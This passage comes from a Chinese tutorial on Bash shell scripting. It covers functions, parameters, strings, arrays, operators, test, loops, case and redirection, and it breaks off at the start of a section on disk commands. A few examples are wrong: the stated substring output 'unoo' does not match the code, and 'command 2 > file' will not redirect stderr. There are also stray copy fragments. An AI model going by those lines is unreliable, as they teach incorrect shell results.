funWithReturn
echo "输入的两个数字之和为 $? !"

输出,类似下面:

1
2
3
4
5
6
7
这个函数会对输入的两个数字进行相加运算...
输入第一个数字:
1
输入第二个数字:
2
两个数字分别为 1 和 2 !
输入的两个数字之和为 3 !

函数返回值在调用该函数后通过 $? 来获得。

注意:所有函数在使用前必须定义。这意味着必须将函数放在脚本开始部分,直至shell解释器首次发现它时,才可以使用。调用函数仅使用其函数名即可。

在Shell中,调用函数时可以向其传递参数。在函数体内部,通过 $n 的形式来获取参数的值,例如,$1表示第一个参数,$2表示第二个参数…

带参数的函数示例:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

funWithParam(){
echo "第一个参数为 $1 !"
echo "第二个参数为 $2 !"
echo "第十个参数为 $10 !"
echo "第十个参数为 ${10} !"
echo "第十一个参数为 ${11} !"
echo "参数总数有 $# 个!"
echo "作为一个字符串输出所有参数 $* !"
}
funWithParam 1 2 3 4 5 6 7 8 9 34 73

输出结果:

1
2
3
4
5
6
7
第一个参数为 1 !
第二个参数为 2 !
第十个参数为 10 !
第十个参数为 34 !
第十一个参数为 73 !
参数总数有 11 个!
作为一个字符串输出所有参数 1 2 3 4 5 6 7 8 9 34 73 !

当n>=10时,需要使用${n}来获取参数。

另外,还有几个特殊字符用来处理参数:

参数处理说明
$#传递到脚本的参数个数
$*以一个单字符串显示所有向脚本传递的参数
$$脚本运行的当前进程ID号
$!后台运行的最后一个进程的ID号
$@与$*相同,但是使用时加引号,并在引号中返回每个参数。
$-显示Shell使用的当前选项,与set命令功能相同。
$?显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误。

文件包含

Shell 文件包含的语法格式如下:

1
2
3
. filename   # 注意点号(.)和文件名中间有一空格

source filename

实例

创建两个 shell 脚本文件。

test1.sh 代码如下:

1
2
3
#!/bin/bash

url="http://www.baidu.com"

test2.sh 代码如下:

1
2
3
4
5
6
7
8
9
#!/bin/bash

#使用 . 号来引用test1.sh 文件
. ./test1.sh
# 或者使用以下包含文件代码
# source ./test1.sh

echo "url地址:$url"
12345678

接下来,我们为 test2.sh 添加可执行权限并执行:

1
2
3
$ chmod +x test2.sh 
$ ./test2.sh
url地址:http://www.baidu.com

**注:**被包含的文件 test1.sh 不需要可执行权限。

shell数据类型

字符串

字符串可以用单引号,也可以用双引号,也可以不用引号。

单引号:

1
str='this is a string'b

单引号字符串的限制:

  • 单引号里的任何字符都会原样输出,单引号字符串中的变量是无效的;

  • 单引号字串中不能出现单独一个的单引号(对单引号使用转义符后也不行),但可成对出现,作为字符串拼接使用。

双引号:

1
2
3
your_name='taobao'
str="Hello, I know you are \"$your_name\"! \n"
echo -e $str

输出结果为:

1
Hello, I know you are "taobao"! 

双引号的优点:

  • 双引号里可以有变量

  • 双引号里可以出现转义字符

拼接字符串:

1
2
3
4
5
6
7
8
9
your_name="taobao"
# 使用双引号拼接
greeting="hello, "$your_name" !"
greeting_1="hello, ${your_name} !"
echo $greeting $greeting_1
# 使用单引号拼接
greeting_2='hello, '$your_name' !'
greeting_3='hello, ${your_name} !'
echo $greeting_2 $greeting_3

输出结果为:

1
2
hello, taobao ! hello, taobao !
hello, taobao ! hello, ${your_name} !

获取字符串长度${#s}

1
2
string="abcd"
echo ${#string} #输出 4

截取字符串${s:n1:n2}

以下实例从字符串第 2 个字符开始截取 4 个字符:

1
2
string="taobao is a great site"
echo ${string:1:4} # 输出 unoo

查找字符出现的位置expr index

查找字符 io 的位置(哪个字母先出现就计算哪个):

1
2
string="taobao is a great site"
echo `expr index "$string" io` # 输出 3

注意: 以上脚本中 ` 是反引号,而不是单引号 '

数组

bash支持一维数组(不支持多维数组),并且没有限定数组的大小。

数组元素的下标由 0 开始编号。

定义数组

在 Shell 中,用括号来表示数组,数组元素用"空格"符号分割开。定义数组的一般形式为:

1
array_name=(value0 value1 value2 value3)

或者

1
2
3
4
5
6
array_name=(
value0
value1
value2
value3
)

或单独定义数组的各个分量:

1
2
3
array_name[0]=value0
array_name[1]=value1
array_name[n]=valuen

可以不使用连续的下标,而且下标的范围没有限制。

读取数组

读取数组元素值的一般格式是:

1
valuen=${array_name[n]}

例子:

1
2
3
4
5
6
7
8
#!/bin/bash

my_array=(A B "C" D)

echo "第一个元素为: ${my_array[0]}"
echo "第二个元素为: ${my_array[1]}"
echo "第三个元素为: ${my_array[2]}"
echo "第四个元素为: ${my_array[3]}"

执行脚本,输出结果如下所示:

1
2
3
4
5
6
$ chmod +x test.sh 
$ ./test.sh
第一个元素为: A
第二个元素为: B
第三个元素为: C
第四个元素为: D

使用 @* 符号可以获取数组中的所有元素,例如:

1
echo ${array_name[@]}

例子:

1
2
3
4
5
6
7
8
9
#!/bin/bash

my_array[0]=A
my_array[1]=B
my_array[2]=C
my_array[3]=D

echo "数组的元素为: ${my_array[*]}"
echo "数组的元素为: ${my_array[@]}"

执行脚本,输出结果如下所示:

1
2
3
4
$ chmod +x test.sh 
$ ./test.sh
数组的元素为: A B C D
数组的元素为: A B C D
获取数组的长度

获取数组长度的方法与获取字符串长度的方法相同,例如:

1
2
3
4
5
6
# 取得数组元素的个数
length=${#array_name[@]}
# 或者
length=${#array_name[*]}
# 取得数组单个元素的长度
lengthn=${#array_name[n]}

例子:

1
2
3
4
5
6
7
8
9
#!/bin/bash

my_array[0]=A
my_array[1]=B
my_array[2]=C
my_array[3]=D

echo "数组元素个数为: ${#my_array[*]}"
echo "数组元素个数为: ${#my_array[@]}"

执行脚本,输出结果如下所示:

1
2
3
4
$ chmod +x test.sh 
$ ./test.sh
数组元素个数为: 4
数组元素个数为: 4

Shell传递参数

执行 Shell 脚本时,向脚本传递参数,脚本内获取参数的格式为:$n

n 代表一个数字,1 为执行脚本的第一个参数,2 为执行脚本的第二个参数,以此类推……

$0 为执行的文件名

test.sh文件内容如下:

1
2
3
4
5
6
7
8
vi test.sh
#!/bin/bash

echo "Shell 传递参数实例!";
echo "执行的文件名:$0";
echo "第一个参数为:$1";
echo "第二个参数为:$2";
echo "第三个参数为:$3";

运行结果:

1
2
3
4
5
6
python@ubuntu:~/test$ sh test.sh 1 2 3
Shell 传递参数实例!
执行的文件名:test.sh
第一个参数为:1
第二个参数为:2
第三个参数为:3

参数获取:

参数处理说明
$#传递到脚本的参数个数
$*传递的参数作为一个字符串显示
$$脚本运行的当前进程ID号
$!后台运行的最后一个进程的ID号
$@$*相同,但是使用时加引号
$?显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误。
1
2
3
4
5
6
7
8
#!/bin/bash

echo "参数个数为:$#";
echo "$*传递的参数作为一个字符串显示:$*";
echo "$@传递的参数作为一个字符串显示:$@";
echo "脚本运行的当前进程ID号:$$";
echo "后台运行的最后一个进程的ID号:$!";
echo "$?"

执行脚本,输出结果如下所示:

1
2
3
4
5
6
7
python@ubuntu:~/test$ ./test.sh 1 2 3
参数个数为:3
1 2 3传递的参数作为一个字符串显示:1 2 3
1 2 3传递的参数作为一个字符串显示:1 2 3
脚本运行的当前进程ID号:5059
后台运行的最后一个进程的ID号:
0

$*$@的区别:

  • 只有在双引号中体现出来。假设在脚本运行时写了三个参数 1、2、3,,则$* 等价于 “1 2 3”(传递了一个参数),而$@等价于 “1” “2” “3”(传递了三个参数)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash

echo "-- \"\$*\" 演示 ---"
for i in "$*"; do
echo $i
done

echo "-- \"\$@\" 演示 ---"
for i in "$@"; do
echo $i
done

echo "-- \$* 演示 ---"
for i in $*; do
echo $i
done

echo "-- \$@ 演示 ---"
for i in $@; do
echo $i
done

执行脚本,输出结果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
python@ubuntu:~/test$ sh test 1 2 3
-- "$*" 演示 ---
1 2 3
-- "$@" 演示 ---
1
2
3
-- $* 演示 ---
1
2
3
-- $@ 演示 ---
1
2
3

Shell基本运算符

Shell 和其他编程语言一样,支持多种运算符,包括:

  • 算数运算符

  • 关系运算符

  • 布尔运算符

  • 字符串运算符

  • 文件测试运算符

原生bash不支持简单的数学运算,但是可以通过其他命令来实现,例如 awk 和 expr,expr 最常用。

expr 是一款表达式计算工具,使用它能完成表达式的求值操作。

1
2
3
4
#!/bin/bash

val=`expr 2 + 2`
echo "两数之和为 : $val"

执行脚本,输出结果如下所示:

1
两数之和为 : 4

两点注意:

  • 表达式和运算符之间要有空格,例如 2+2 是不对的,必须写成 2 + 2。

  • 完整的表达式要被 包含,这个字符是反引号在 Esc 键下边。

算术运算符

下表列出了常用的算术运算符,假定变量 a 为 10,变量 b 为 20:

运算符说明举例
+加法expr $a + $b 结果为 30。
-减法expr $a - $b 结果为 -10。
*乘法expr $a \* $b 结果为 200。
/除法expr $b / $a 结果为 2。
%取余expr $b % $a 结果为 0。
=赋值a=$b 将把变量 b 的值赋给 a。
==相等。用于比较两个数字,相同则返回 true。[ $a == $b ] 返回 false。
!=不相等。用于比较两个数字,不相同则返回 true。[ $a != $b ] 返回 true。

算术运算符实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash

a=10
b=20

val=`expr $a + $b`
echo "a + b : $val"

val=`expr $a - $b`
echo "a - b : $val"

val=`expr $a \* $b`
echo "a * b : $val"

val=`expr $b / $a`
echo "b / a : $val"

val=`expr $b % $a`
echo "b % a : $val"

if [ $a == $b ]
then
echo "a 等于 b"
fi
if [ $a != $b ]
then
echo "a 不等于 b"
fi

执行脚本,输出结果如下所示:

1
2
3
4
5
6
a + b : 30
a - b : -10
a * b : 200
b / a : 2
b % a : 0
a 不等于 b

注意:

  • 乘号(*)前边必须加反斜杠\才能实现乘法运算;

  • if…then…fi 是条件语句,后续将会讲解。

  • 在 MAC 中 shell 的 expr 语法是:$((表达式)),此处表达式中的 “*” 不需要转义符号 \

1
2
3
let varName=算术表达式
varName=$[算术表达式]
varName=$((算术表达式))

关系运算符

关系运算符只支持数字,不支持字符串,除非字符串的值是数字。

下表列出了常用的关系运算符,假定变量 a 为 10,变量 b 为 20:

运算符说明举例
-eq检测两个数是否相等,相等返回 true。[ $a -eq $b ] 返回 false。
-ne检测两个数是否不相等,不相等返回 true。[ $a -ne $b ] 返回 true。
-gt检测左边的数是否大于右边的,如果是,则返回 true。[ $a -gt $b ] 返回 false。
-lt检测左边的数是否小于右边的,如果是,则返回 true。[ $a -lt $b ] 返回 true。
-ge检测左边的数是否大于等于右边的,如果是,则返回 true。[ $a -ge $b ]返回 false。
-le检测左边的数是否小于等于右边的,如果是,则返回 true。[ $a -le $b ] 返回 true。

关系运算符实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/bin/bash

a=10
b=20

if [ $a -eq $b ]
then
echo "$a -eq $b : a 等于 b"
else
echo "$a -eq $b: a 不等于 b"
fi
if [ $a -ne $b ]
then
echo "$a -ne $b: a 不等于 b"
else
echo "$a -ne $b : a 等于 b"
fi
if [ $a -gt $b ]
then
echo "$a -gt $b: a 大于 b"
else
echo "$a -gt $b: a 不大于 b"
fi
if [ $a -lt $b ]
then
echo "$a -lt $b: a 小于 b"
else
echo "$a -lt $b: a 不小于 b"
fi
if [ $a -ge $b ]
then
echo "$a -ge $b: a 大于或等于 b"
else
echo "$a -ge $b: a 小于 b"
fi
if [ $a -le $b ]
then
echo "$a -le $b: a 小于或等于 b"
else
echo "$a -le $b: a 大于 b"
fi

执行脚本,输出结果如下所示:

1
2
3
4
5
6
10 -eq 20: a 不等于 b
10 -ne 20: a 不等于 b
10 -gt 20: a 不大于 b
10 -lt 20: a 小于 b
10 -ge 20: a 小于 b
10 -le 20: a 小于或等于 b

布尔运算符

下表列出了常用的布尔运算符,假定变量 a 为 10,变量 b 为 20:

运算符说明举例
!非运算,表达式为 true 则返回 false,否则返回 true。[ ! false ] 返回 true。
-o或运算,有一个表达式为 true 则返回 true。[ $a -lt 20 -o $b -gt 100 ] 返回 true。
-a与运算,两个表达式都为 true 才返回 true。[ $a -lt 20 -a $b -gt 100 ] 返回 false。

布尔运算符实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash

a=10
b=20

if [ $a != $b ]
then
echo "$a != $b : a 不等于 b"
else
echo "$a == $b: a 等于 b"
fi
if [ $a -lt 100 -a $b -gt 15 ]
then
echo "$a 小于 100 且 $b 大于 15 : 返回 true"
else
echo "$a 小于 100 且 $b 大于 15 : 返回 false"
fi
if [ $a -lt 100 -o $b -gt 100 ]
then
echo "$a 小于 100 或 $b 大于 100 : 返回 true"
else
echo "$a 小于 100 或 $b 大于 100 : 返回 false"
fi
if [ $a -lt 5 -o $b -gt 100 ]
then
echo "$a 小于 5 或 $b 大于 100 : 返回 true"
else
echo "$a 小于 5 或 $b 大于 100 : 返回 false"
fi

执行脚本,输出结果如下所示:

1
2
3
4
10 != 20 : a 不等于 b
10 小于 100 且 20 大于 15 : 返回 true
10 小于 100 或 20 大于 100 : 返回 true
10 小于 5 或 20 大于 100 : 返回 false

逻辑运算符

以下介绍 Shell 的逻辑运算符,假定变量 a 为 10,变量 b 为 20:

运算符说明举例
&&逻辑的 AND[[ $a -lt 100 && $b -gt 100 ]] 返回 false
||逻辑的 OR`[[ $a -lt 100

逻辑运算符实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash

a=10
b=20

if [[ $a -lt 100 && $b -gt 100 ]]
then
echo "返回 true"
else
echo "返回 false"
fi

if [[ $a -lt 100 || $b -gt 100 ]]
then
echo "返回 true"
else
echo "返回 false"
fi

执行脚本,输出结果如下所示:

1
2
返回 false
返回 true

字符串运算符

下表列出了常用的字符串运算符,假定变量 a 为 “abc”,变量 b 为 “efg”:

运算符说明举例
=检测两个字符串是否相等,相等返回 true。[ $a = $b ] 返回 false。
!=检测两个字符串是否相等,不相等返回 true。[ $a != $b ] 返回 true。
-z检测字符串长度是否为0,为0返回 true。[ -z $a ] 返回 false。
-n检测字符串长度是否为0,不为0返回 true。[ -n "$a" ] 返回 true。
$检测字符串是否为空,不为空返回 true。[ $a ] 返回 true。

字符串运算符实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash

a="abc"
b="efg"

if [ $a = $b ]
then
echo "$a = $b : a 等于 b"
else
echo "$a = $b: a 不等于 b"
fi
if [ $a != $b ]
then
echo "$a != $b : a 不等于 b"
else
echo "$a != $b: a 等于 b"
fi
if [ -z $a ]
then
echo "-z $a : 字符串长度为 0"
else
echo "-z $a : 字符串长度不为 0"
fi
if [ -n "$a" ]
then
echo "-n $a : 字符串长度不为 0"
else
echo "-n $a : 字符串长度为 0"
fi
if [ $a ]
then
echo "$a : 字符串不为空"
else
echo "$a : 字符串为空"
fi

执行脚本,输出结果如下所示:

1
2
3
4
5
abc = efg: a 不等于 b
abc != efg : a 不等于 b
-z abc : 字符串长度不为 0
-n abc : 字符串长度不为 0
abc : 字符串不为空

文件测试运算符

文件测试运算符用于检测 Unix 文件的各种属性。

属性检测描述如下:

操作符说明举例
-b file检测文件是否是块设备文件,如果是,则返回 true。[ -b $file ] 返回 false。
-c file检测文件是否是字符设备文件,如果是,则返回 true。[ -c $file ] 返回 false。
-d file检测文件是否是目录,如果是,则返回 true。[ -d $file ] 返回 false。
-f file检测文件是否是普通文件(既不是目录,也不是设备文件),如果是,则返回 true。[ -f $file ] 返回 true。
-g file检测文件是否设置了 SGID 位,如果是,则返回 true。[ -g $file ] 返回 false。
-k file检测文件是否设置了粘着位(Sticky Bit),如果是,则返回 true。[ -k $file ] 返回 false。
-p file检测文件是否是有名管道,如果是,则返回 true。[ -p $file ] 返回 false。
-u file检测文件是否设置了 SUID 位,如果是,则返回 true。[ -u $file ] 返回 false。
-r file检测文件是否可读,如果是,则返回 true。[ -r $file ] 返回 true。
-w file检测文件是否可写,如果是,则返回 true。[ -w $file ] 返回 true。
-x file检测文件是否可执行,如果是,则返回 true。[ -x $file ] 返回 true。
-s file检测文件是否为空(文件大小是否大于0),不为空返回 true。[ -s $file ] 返回 true。
-e file检测文件(包括目录)是否存在,如果是,则返回 true。[ -e $file ] 返回 true。

其他检查符:

  • -S: 判断某文件是否 socket。

  • -L: 检测文件是否存在并且是一个符号链接。

变量 file 表示文件 /var/www/runoob/test.sh,它的大小为 100 字节,具有 rwx 权限。下面的代码,将检测该文件的各种属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/bin/bash

file="/var/www/runoob/test.sh"
if [ -r $file ]
then
echo "文件可读"
else
echo "文件不可读"
fi
if [ -w $file ]
then
echo "文件可写"
else
echo "文件不可写"
fi
if [ -x $file ]
then
echo "文件可执行"
else
echo "文件不可执行"
fi
if [ -f $file ]
then
echo "文件为普通文件"
else
echo "文件为特殊文件"
fi
if [ -d $file ]
then
echo "文件是个目录"
else
echo "文件不是个目录"
fi
if [ -s $file ]
then
echo "文件不为空"
else
echo "文件为空"
fi
if [ -e $file ]
then
echo "文件存在"
else
echo "文件不存在"
fi

执行脚本,输出结果如下所示:

1
2
3
4
5
6
7
文件可读
文件可写
文件可执行
文件为普通文件
文件不是个目录
文件不为空
文件存在

test命令

Shell中的 test 命令用于检查某个条件是否成立,它可以进行数值、字符和文件三个方面的测试。

数值测试

参数说明
-eq等于则为真
-ne不等于则为真
-gt大于则为真
-ge大于等于则为真
-lt小于则为真
-le小于等于则为真

实例演示:

1
2
3
4
5
6
7
8
num1=100
num2=100
if test $[num1] -eq $[num2]
then
echo '两个数相等!'
else
echo '两个数不相等!'
fi

输出结果:

1
两个数相等!

代码中的 [] 执行基本的算数运算,如:

1
2
3
4
5
6
7
#!/bin/bash

a=5
b=6

result=$[a+b] # 注意等号两边不能有空格
echo "result 为: $result"

结果为:

1
result 为: 11

字符串测试

参数说明
=等于则为真
!=不相等则为真
-z 字符串字符串的长度为零则为真
-n 字符串字符串的长度不为零则为真

实例演示:

1
2
3
4
5
6
7
8
num1="ru1noob"
num2="runoob"
if test $num1 = $num2
then
echo '两个字符串相等!'
else
echo '两个字符串不相等!'
fi

输出结果:

1
两个字符串不相等!

文件测试

参数说明
-e 文件名如果文件存在则为真
-r 文件名如果文件存在且可读则为真
-w 文件名如果文件存在且可写则为真
-x 文件名如果文件存在且可执行则为真
-s 文件名如果文件存在且至少有一个字符则为真
-d 文件名如果文件存在且为目录则为真
-f 文件名如果文件存在且为普通文件则为真
-c 文件名如果文件存在且为字符型特殊文件则为真
-b 文件名如果文件存在且为块特殊文件则为真

实例演示:

1
2
3
4
5
6
7
cd /bin
if test -e ./bash
then
echo '文件已存在!'
else
echo '文件不存在!'
fi

输出结果:

1
文件已存在!

另外,Shell还提供了与( -a )、或( -o )、非( ! )三个逻辑操作符用于将测试条件连接起来,其优先级为:“!“最高,”-a"次之,”-o"最低。例如:

1
2
3
4
5
6
7
cd /bin
if test -e ./notFile -o -e ./bash
then
echo '至少有一个文件存在!'
else
echo '两个文件都不存在'
fi

输出结果:

1
至少有一个文件存在!

Shell 流程控制

if else判断语句

if 语句语法格式:

1
2
3
4
5
6
7
if condition
then
command1
command2
...
commandN
fi

写成一行(适用于终端命令提示符):

1
if [ $(ps -ef | grep -c "ssh") -gt 1 ]; then echo "true"; fi

if else 语法格式:

1
2
3
4
5
6
7
8
9
if condition
then
command1
command2
...
commandN
else
command
fi

if else-if else 语法格式:

1
2
3
4
5
6
7
8
9
if condition1
then
command1
elif condition2
then
command2
else
commandN
fi

以下实例判断两个变量是否相等:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
a=10
b=20
if [ $a == $b ]
then
echo "a 等于 b"
elif [ $a -gt $b ]
then
echo "a 大于 b"
elif [ $a -lt $b ]
then
echo "a 小于 b"
else
echo "没有符合的条件"
fi

输出结果:

1
a 小于 b

if else语句经常与test命令结合使用,如下所示:

1
2
3
4
5
6
7
8
num1=$[2*3]
num2=$[1+5]
if test $[num1] -eq $[num2]
then
echo '两个数字相等!'
else
echo '两个数字不相等!'
fi

输出结果:

1
两个数字相等!

for循环

for循环一般格式为:

1
2
3
4
5
6
7
for var in item1 item2 ... itemN
do
command1
command2
...
commandN
done

写成一行:

1
for var in item1 item2 ... itemN; do command1; command2… done;

例如,顺序输出当前列表中的数字:

1
2
3
4
for loop in 1 2 3 4 5
do
echo "The value is: $loop"
done

输出结果:

1
2
3
4
5
The value is: 1
The value is: 2
The value is: 3
The value is: 4
The value is: 5

顺序输出字符串中的字符:

1
2
3
4
for str in 'This is a string'
do
echo $str
done

输出结果:

1
This is a string

while循环

while循环格式为:

1
2
3
4
while condition
do
command
done

示例:

1
2
3
4
5
6
7
#!/bin/bash
int=1
while(( $int<=5 ))
do
echo $int
let "int++"
done

运行脚本,输出:

1
2
3
4
5
1
2
3
4
5

while循环可用于读取键盘信息。下面的例子中,输入信息被设置为变量FILM,按Ctrl-D结束循环。

1
2
3
4
5
6
echo '按下 <CTRL-D> 退出'
echo -n '输入你最喜欢的网站名: '
while read FILM
do
echo "是的!$FILM 是一个好网站"
done

运行脚本,输出类似下面:

1
2
3
按下 <CTRL-D> 退出
输入你最喜欢的网站名:淘宝
是的!淘宝 是一个好网站

无限循环

无限循环语法格式:

1
2
3
4
while :
do
command
done

或者

1
2
3
4
while true
do
command
done

或者

1
for (( ; ; ))

until 循环

until 循环执行一系列命令直至条件为 true 时停止。

until 循环与 while 循环在处理方式上刚好相反。

一般 while 循环优于 until 循环,但在某些时候—也只是极少数情况下,until 循环更加有用。

until 语法格式:

1
2
3
4
until condition
do
command
done

condition 一般为条件表达式,如果返回值为 false,则继续执行循环体内的语句,否则跳出循环。

以下实例我们使用 until 命令来输出 0 ~ 9 的数字:

1
2
3
4
5
6
7
8
9
#!/bin/bash

a=0

until [ ! $a -lt 10 ]
do
echo $a
a=`expr $a + 1`
done

运行结果:

输出结果为:

1
2
3
4
5
6
7
8
9
10
0
1
2
3
4
5
6
7
8
9

case

Shell case语句为多选择语句。可以用case语句匹配一个值与一个模式,如果匹配成功,执行相匹配的命令。case语句格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
casein
模式1)
command1
command2
...
commandN
;;
模式2)
command1
command2
...
commandN
;;
esac

下面的脚本提示输入1到4,与每一种模式进行匹配:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo '输入 1 到 4 之间的数字:'
echo '你输入的数字为:'
read aNum
case $aNum in
1) echo '你选择了 1'
;;
2) echo '你选择了 2'
;;
3) echo '你选择了 3'
;;
4) echo '你选择了 4'
;;
*) echo '你没有输入 1 到 4 之间的数字'
;;
esac

输入不同的内容,会有不同的结果,例如:

1
2
3
4
输入 1 到 4 之间的数字:
你输入的数字为:
3
你选择了 3

跳出循环

在循环过程中,有时候需要在未达到循环结束条件时强制跳出循环,Shell使用两个命令来实现该功能:break和continue。

break命令允许跳出所有循环(终止执行后面的所有循环)。

下面的例子中,脚本进入死循环直至用户输入数字大于5。要跳出这个循环,返回到shell提示符下,需要使用break命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
while :
do
echo -n "输入 1 到 5 之间的数字:"
read aNum
case $aNum in
1|2|3|4|5) echo "你输入的数字为 $aNum!"
;;
*) echo "你输入的数字不是 1 到 5 之间的! 游戏结束"
break
;;
esac
done

执行以上代码,输出结果为:

1
2
3
4
输入 1 到 5 之间的数字:3
你输入的数字为 3!
输入 1 到 5 之间的数字:7
你输入的数字不是 1 到 5 之间的! 游戏结束

continue命令与break命令类似,只有一点差别,它不会跳出所有循环,仅仅跳出当前循环。

Shell输入/输出重定向

重定向命令列表如下:

命令说明
command > file将输出重定向到 file。
command < file将输入重定向到 file。
command >> file将输出以追加的方式重定向到 file。
n > file将文件描述符为 n 的文件重定向到 file。
n >> file将文件描述符为 n 的文件以追加的方式重定向到 file。
n >& m将输出文件 m 和 n 合并。
n <& m将输入文件 m 和 n 合并。
<< tag将开始标记 tag 和结束标记 tag 之间的内容作为输入。

需要注意的是文件描述符 0 通常是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。


输出重定向

重定向一般通过在命令间插入特定的符号来实现。特别的,这些符号的语法如下所示:

1
command1 > file1

上面这个命令执行command1然后将输出的内容存入file1。

注意任何file1内的已经存在的内容将被新内容替代。如果要将新内容添加在文件末尾,请使用>>操作符。

输出重定向会覆盖文件内容:

1
2
3
4
$ echo "www.baidu.com" > users
$ cat users
www.baidu.com
$

如果不希望文件内容被覆盖,可以使用 >> 追加到文件末尾,例如:

1
2
3
4
5
$ echo "www.baidu.com" >> users
$ cat users
www.baidu.com
www.baidu.com
$

输入重定向

和输出重定向一样,Unix 命令也可以从文件获取输入,语法为:

1
command1 < file1

这样,本来需要从键盘获取输入的命令会转移到文件读取内容。

注意:输出重定向是大于号(>),输入重定向是小于号(<)。

统计 users 文件的行数,执行以下命令:

1
2
python@ubuntu:~/test$ wc -l test 
4 test

也可以将输入重定向到 users 文件:

1
2
python@ubuntu:~/test$ wc -l <test
4

注意:上面两个例子的结果不同:第一个例子,会输出文件名;第二个不会,因为它仅仅知道从标准输入读取内容。

同时替换输入和输出,执行command1,从文件infile读取内容,然后将输出写入到outfile中:

1
command1 < infile > outfile

重定向深入讲解

一般情况下,每个 Unix/Linux 命令运行时都会打开三个文件:

  • 标准输入文件(stdin):stdin的文件描述符为0,Unix程序默认从stdin读取数据。

  • 标准输出文件(stdout):stdout 的文件描述符为1,Unix程序默认向stdout输出数据。

  • 标准错误文件(stderr):stderr的文件描述符为2,Unix程序会向stderr流中写入错误信息。

默认情况下,command > file 将 stdout 重定向到 file,command < file 将stdin 重定向到 file。

如果希望 stderr 重定向到 file,可以这样写:

1
$ command 2 > file

如果希望 stderr 追加到 file 文件末尾,可以这样写:

1
$ command 2 >> file

2 表示标准错误文件(stderr)。

如果希望将 stdout 和 stderr 合并后重定向到 file,可以这样写:

1
2
3
$ command > file 2>&1
或者
$ command >> file 2>&1

如果希望对 stdin 和 stdout 都重定向,可以这样写:

1
$ command < file1 >file2

command 命令将 stdin 重定向到 file1,将 stdout 重定向到 file2。

Here Document

Here Document 是 Shell 中的一种特殊的重定向方式,用来将输入重定向到一个交互式 Shell 脚本或程序。

它的基本的形式如下:

1
2
3
command << delimiter
document
delimiter

它的作用是将两个 delimiter 之间的内容(document) 作为输入传递给 command。

注意:结尾的delimiter 一定要顶格写,前面不能有任何字符,后面也不能有任何字符,包括空格和 tab 缩进。

在命令行中通过 wc -l 命令计算 Here Document 的行数:

1
2
3
4
5
6
7
$ wc -l << EOF
欢迎来到
菜鸟教程
www.runoob.com
EOF
3 # 输出结果为 3 行
$

/dev/null 文件

如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:

1
$ command > /dev/null

/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。

如果希望屏蔽 stdout 和 stderr,可以这样写:

1
$ command > /dev/null 2>&1

0 是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。

实例

杨辉三角:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash

if (test -z $1) ;then
read -p "Input high Int Lines:" high
else
high=$1
fi
if (test -z $2) ;then
space=4
else
space=$2
fi

printspace(){
#空位填充
for((z=1;z<=$1;z++));do
echo -n " "
done
}

a[0]=1
for((i=0;i<=high;i++));do
#产生当前列数据数组
for ((j=$i;j>0;j--));do
((a[$j]+=a[$j-1]))
done
printspace $((($high-$i)*$space/2))
for ((j=0;j<=$i;j++));do
num=$(($space-${#a[$j]}))
printspace $(($num/2))
echo -n ${a[$j]}
printspace $(($num-$num/2))
done
echo ""
done

sum()&max():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/bash

echo "shell的函数返回值只能为0~255的整数,高位自动丢弃"
sum(){
sum=0
for i in $@
do
if test $i -ne $1;then
echo -n "+"
fi
echo -n "$i"
sum=$(($sum+$i))
done
echo "=$sum"
return $(($sum))
}
sum $@
echo "‘sum()’函数返回值:"$?

max(){
max=0
for i in $@;do
if test $i -ge $max;then
max=$i
fi
done
echo "参数最大值:$max"
return $(($max))
}

max $@

echo "‘max()’函数返回值:"$?

99乘法表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash

for i in {1..9};do
for((j=1;j<=i;j++));do
echo -en "$i*$j=$(($i*$j))\t"
done
echo ""
done

for a in {1..9};do
for b in {0..9};do
for c in {0..9};do
number1=$((a*100+b*10+c))
number2=$((a**3+b**3+c**3))
if test $number1 -eq $number2; then
echo "Found number $number1"
fi
done
done
done

本文参考:

Linux 磁盘管理

Linux磁盘管理常用三个命令为df、du和fdisk。

  • df:列出文件系统的整体磁盘使用量

  • du:检查磁盘空间使用量

  • fdisk:用于磁盘分区


df

获取硬盘被占用了多少空间,目前还剩下多少空间等信息。

语法:

1
df [-ahikHTm] [目录或文件名]

选项与参数:

  • -a :列出所有的文件系统,包括系统特有的 /proc 等文件系统;

  • -k :以 KBytes 的容量显示各文件系统;

  • -m :以 MBytes 的容量显示各文件系统;

  • -h :以人们较易阅读的 GBytes, MBytes, KBytes 等格式自行显示;

